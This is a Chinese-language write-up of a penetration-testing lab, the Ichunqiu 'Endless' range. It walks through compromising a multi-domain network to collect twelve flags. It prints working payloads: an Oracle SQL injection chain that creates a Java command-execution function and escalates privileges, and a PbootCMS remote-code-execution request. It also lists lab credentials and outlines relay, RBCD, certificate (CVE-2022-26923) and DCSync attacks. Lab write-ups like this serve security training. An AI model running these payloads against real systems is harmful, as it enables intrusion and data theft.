前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Ichunqiu云境 —— Endless(无间计划) Writeup

Ichunqiu云境 —— Endless(无间计划) Writeup

作者头像
Gcow安全团队
发布2023-09-15 16:05:27
3270
发布2023-09-15 16:05:27
举报
文章被收录于专栏:Gcow安全团队Gcow安全团队

Ichunqiu云境 —— Endless(无间计划) Writeup

Author:小离-xiaoli

0x00 Intro

前言:

  • • 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
  • • 这边入口外网IP可能会有不一致的地方,因为靶场重启次数比较多,IP经常变化
  • • OSCP风格,不使用CS/MSF
  • • 这个靶场共有12个Flag

0x01 Recon

扫描结果:

  1. 1. 入口点1 - SQL注入 (Linux):
  1. 2. 入口点2 - Pboot-CMS (Linux):

0x02 入口点1 - SQL注入 (Linux)

前言:

  • • 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
  • • 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
  • • 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
  • • Oracle 版本 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0
  1. 1. 直接上payload
代码语言:javascript
复制
1. 创建JAVA Source
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --

2.提权
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--

3.创建函数
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--

4.查询创建的函数
admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--

5.查询java source
admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--

6.命令执行
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
  1. 2. 函数LINXRUNCMD创建成功
  1. 3. whoami,直接是system权限了
  1. 4. ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了 !

0x03 入口点2 - Pboot-CMS (Linux) - Flag 1

前言:

  • • 西湖论剑CTF的题目,有WAF,考你怎么绕过pboot cms的disable function,这里用的是大哥的payload https://guokeya.github.io/post/WscncUrcS/
  1. 1. Payload(未授权RCE):
代码语言:javascript
复制
GET /?a=}{pboot{user:password}:if(("sys\x74em")("whoami"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 39.98.94.70:80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.98.94.70/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: lg=cn; PbootSystem=h6o5ta1btl6o32bi184ula183l
Connection: close
Content-Length: 0
  1. 2. PrivESC to root with CVE-2022-2588(这里用不了pwnkit,pkexec玄学)
  1. 3. 入口IP 172.23.4.32
  1. 4. Flag 1

0x05 Target: 172.23.4.51 - Flag 2

  1. 1. 通过上面的入口点搭建代理,横向回到上面打下的oracle数据库 172.23.4.51,获取到Flag 2

0x04 Target: 172.23.4.12 - Flag 3

  1. 1. 172.23.4.51 的Desktop 有个Usera的凭据
代码语言:javascript
复制
username: usera@pentest.com
password:Admin3gv83
  1. 2. 挂个代理,CME扫一扫
  1. 3. 这里忘记截图了,usera对4.12能RDP,RDP上去就可以了
  • • 提权方法1:krbrelayup直接提权
  • • 提权方法2:usera对该机器有writedacl,能rbcd提权到system
  1. 4. 横向上去后,发现C:\users\usera\目录下有.ssh目录,里面有一个私钥(私钥没截到图),known_hosts看到有个IP 172.23.4.19
  1. 5. Flag 3

0x05 Target: 172.23.4.19 (172.24.7.16) - Flag 4

  1. 1. 使用在172.23.4.12获取到的私钥登录进入172.23.4.19,回到了上面入口点1的web服务器,获取到root权限
  1. 2. Flag 4

0x06 突破内网隔离处-1 - No Flag

  • • 172.23.4.12 - 双网卡 - 172.24.7.16

0x07 Target: 172.24.7.48 (绕路) - Flag 5

前言:

  • • 这里会绕路,是靶场设计思路的问题,我一开始也没想到能直接用CVE-2022-26923打下来,后面在这台机器上实在翻不到东西了,才用了CVE-2022-26923
  • • 后续和作者沟通了,作者原先是希望说从通过下述操作拿下机器后,找到一张管理员的证书,用证书直接打到域控,但是作者可能觉得太简单了,后面把证书删除了,后面复盘的时候作者说就是用 CVE-2022-26923 打下来
  • • 个人建议的话,可以在这台机器上弄一些信息泄露的点,用泄露的凭据改ESC1之类的,如果要增加难度的话,可以考虑把智能卡攻击也弄上
  1. 1. 使用凭据usera扫描一下172.24.7.0/24,调用petitpotam
  1. 2. 这里IP和主机名有点乱,我们备注一下
代码语言:javascript
复制
172.24.7.5 DCadmin.pen.me (当前不在我们的范围内)
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,未拿下)
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24.7.3 DC.pentest.me (在范围内,未拿下)
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,未拿下)
  1. 3. 扫一扫webclient服务,确定172.24.7.48能打下了
  1. 4. 难点在于你现在处于第二层网段,也好解决
  • • 端口转发链如下
代码语言:javascript
复制
172.24.7.16:80(双网卡,通172.23.4.0/24) ---forward--- 172.23.4.19:81(SSH) ---forward--- localhost:79 ---forward--- kali:8001
  • • SSH端口转发监听127.0.0.1的问题可以看回我之前的文章:IChunQiu-spoofing
  1. 5. 端口转发准备:

172.23.4.19

172.24.7.16(也是IP 172.23.4.12)

  1. 6. 启用ntlmrelayx.py,这里的escalate-user写的是172.24.7.16的主机名,截图是已经用petitpotam触发回连了,可以看到是已经完成了rbcd攻击了
  1. 7. petitpotam触发webclient实现中继
  1. 8. Flag 5

0x08 Target: 172.24.7.3 - Flag 6

  1. 1. 域控装了ADCS(直接SMB看域控共享就懂了)
  1. 2. 提示ESC8
  1. 3. 但是,经过复杂的操作 (停445+端口转发),却和我说ADCS关了ntlm认证
  1. 4. 后面实在找不到东西了,直接CVE-2022-26923冲死,使用一个有效域凭据(普通权限)创建机器账户
  1. 5. CVE-2022-26923生成一张域控的证书
  1. 6. 还原NTLM出来(这里忘记截图,只能用帮助文档了)
  1. 7. Dcsync
  1. 8. 远程上172.24.7.3就能获得Flag 6了,这里忘记截图了
  2. 9. 然后就顺便扫一扫看看有没有其他网卡

0x09 突破内网隔离处-2 - No Flag

  • • 172.24.7.3 - 双网卡 - 172.25.12.9

0x10 Target: 172.25.12.7 - Flag 7

前言:

  • • 这里原先是用sid history进行跨域攻击,但是靶场环境有问题,作者也排查了很多次,确认环境有问题,sid history始终没打成功(没有开启sid过滤),然后作者才选择更换攻击路径
  1. 1. DCadmin 这台机器也是双网卡(172.24.7.5 和 172.25.12.7),不知道为什么上面的探测没扫出来
  1. 2. 到这里,我们更新一下笔记
代码语言:javascript
复制
pen.me
    172.25.12.7 (172.24.7.5) DCadmin.pen.me (在范围内,还没拿下)
    172.25.12.19 IZ1TUCEKFDPCEMZ.pen.me (在范围内,还没拿下)
    172.25.12.29 IZ88QYK8Y8Y3VXZ.pen.me (在范围内,还没拿下)

pentest.me
    172.25.12.9 (172.24.7.3) DC.pentest.me (在范围内,已经拿下)
    172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,已经拿下)
    172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
    172.24.7.3 DC.pentest.me (在范围内,已经拿下)
    172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,有管理员凭据,还没登录上去)
  1. 3. Bloodhound看看是什么关系,可以看到,Administrator@pentest.me 是 dcadmin.pen.me的管理员
  1. 4. 这里也是有些奇怪,作者是可以直接横向过去的 !
  • • 嘿,轮到我就不行(不知道是什么原因,我psexec也没成功) !
  1. 5. 干脆就RBCD了,我也不纠结 (RBCD过程省略)
  1. 6. Flag 7
  1. 7. DCSync过程略

0x11 Target: 172.25.12.19 - Flag 8

  1. 1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 8 了

0x12 Target: 172.25.12.29 - Flag 9

  1. 1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 9 了

0x13 Target: 172.25.12.19 (Exchange) - Flag 10

  1. 1. 看看这台机器的SPN,就知道172.25.12.19上面跑着Exchange了 !
  1. 2. 在域内你可以快速过滤homeMDB这个attribute,就知道用户有没有登录过邮服了,以下这个Exchange用户是我们要看的
  1. 3. 使用Exchange用户登录进入OWA,就可以获取到Flag 10 了

0x14 Target: 172.24.7.43 (172.26.8.12) - Flag 11

  1. 1. 用上面在pentest.me里面DCSync获取到的管理员凭据直接横向过去172.24.7.43即可获取到Flag11 了

0x15 突破内网隔离处-3 - No Flag

  • • 172.24.7.43 - 双网卡 - 172.26.8.12

0x16 Target: 172.24.7.27 & 172.24.7.23 - No Flag

  1. 1. 我们回到 172.24.7.0/24,内网扫描 172.24.7.0/24发现有两个web服务,一个confluence和一个gitlab,对应url如下
代码语言:javascript
复制
confluence: 172.24.7.27:8090
gitlab: 172.24.7.23
  1. 2. 使用上面获取到的usera凭据直接登录进入confluence,可以发现有两个xlsx列表,用最新的即可
  1. 3. 无间实验室人员名单.xlsx
  1. 4. 在dc.pentest.me批量跑一下ldap,发现都是有效凭据,这里随便一个域用户都能登录进入gitlab,但是都没项目(登录gitlab的图忘记截图了)
  1. 5. 可以用在ldap筛选出有效用户(毕竟是ldap认证,当然你用kerbrute枚举也可以),然后配合利用git命令批量枚举,你能发现用户luizhuo有一个私人项目叫 Financial system-demo
  1. 6. 有一个SQL Server的凭据,但是IP是127.0.0.1
  1. 7. 找找commit历史,发现一个ip 172.26.8.16
  1. 8. 凭据记录
代码语言:javascript
复制
IP: 172.26.8.16
username: sa
password: sqlserver_2022

7. 后续复盘和作者交流过,gitlab不能直接拿下,但是最新的exp我没测试,有兴趣的大哥可以测试一下

0x17 Target: 172.26.8.16 - Flag 12

  1. 1. 因为 172.24.7.43 这台机器通往 172.26.8.0/24网段,我们在 gitlab 172.24.7.23 刚好获取到过一个 SQL Server的凭据
代码语言:javascript
复制
IP: 172.26.8.16
username: sa
password: sqlserver_2022
  1. 2. 在这台机器上搞个代理,直接连接,然后一把梭(这里用的项目是https://github.com/Ridter/PySQLTools)
  1. 3. 服务账户权限
  1. 4. CLR提权
  1. 5. 直接改管理员密码
  1. 6. Flag 12

0x18 Attack Graph

0x19 Outro

  • • 感谢九世大哥的协作帮忙,入口点帮助了很多,oracle注入那看到头秃了
  • • 感谢作者满秋和WHOAMI的帮助
  • • 靶场在做的过程中,发现了不少的BUG,但是作者都很热心的修补了BUG,期间还退还了沙子
  • • 做起来和你打攻防项目一样坐牢
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-03-20 19:07:50,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gcow安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Ichunqiu云境 —— Endless(无间计划) Writeup
    • 0x00 Intro
      • 0x01 Recon
        • 0x02 入口点1 - SQL注入 (Linux)
          • 0x03 入口点2 - Pboot-CMS (Linux) - Flag 1
            • 0x05 Target: 172.23.4.51 - Flag 2
              • 0x04 Target: 172.23.4.12 - Flag 3
                • 0x05 Target: 172.23.4.19 (172.24.7.16) - Flag 4
                  • 0x06 突破内网隔离处-1 - No Flag
                    • 0x07 Target: 172.24.7.48 (绕路) - Flag 5
                      • 0x08 Target: 172.24.7.3 - Flag 6
                        • 0x09 突破内网隔离处-2 - No Flag
                          • 0x10 Target: 172.25.12.7 - Flag 7
                            • 0x11 Target: 172.25.12.19 - Flag 8
                              • 0x12 Target: 172.25.12.29 - Flag 9
                                • 0x13 Target: 172.25.12.19 (Exchange) - Flag 10
                                  • 0x14 Target: 172.24.7.43 (172.26.8.12) - Flag 11
                                    • 0x15 突破内网隔离处-3 - No Flag
                                      • 0x16 Target: 172.24.7.27 & 172.24.7.23 - No Flag
                                        • 0x17 Target: 172.26.8.16 - Flag 12
                                          • 0x18 Attack Graph
                                            • 0x19 Outro
                                            相关产品与服务
                                            数据库
                                            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                                            领券
                                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档